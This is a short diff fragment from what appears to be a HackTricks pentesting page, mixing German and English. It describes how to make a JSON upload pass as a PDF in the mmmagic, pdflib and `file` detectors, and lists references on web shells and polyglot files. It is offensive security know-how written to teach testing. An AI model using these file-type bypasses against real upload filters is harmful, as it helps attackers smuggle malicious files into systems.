- **`mmmagic` library**: Solange die `%PDF` magic bytes in den ersten 1024 bytes sind, ist es valid (get example from post)
- **`pdflib` library**: Add a fake PDF format inside a filed of the JSON so the library thinks its a pdf (get example from post)
- **`file` binary**: It can read up to 1048576 bytes from a file. Just create a JSON bigger than that so it cannot parse the content as a json and then inside the JSON put the initial part of a real PDF and itll think its a PDF
## Referenzen
@ -322,5 +327,6 @@ Wie man Dateityp-Erkennungen vermeidet, indem man eine gültige JSON-Datei hochl
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}}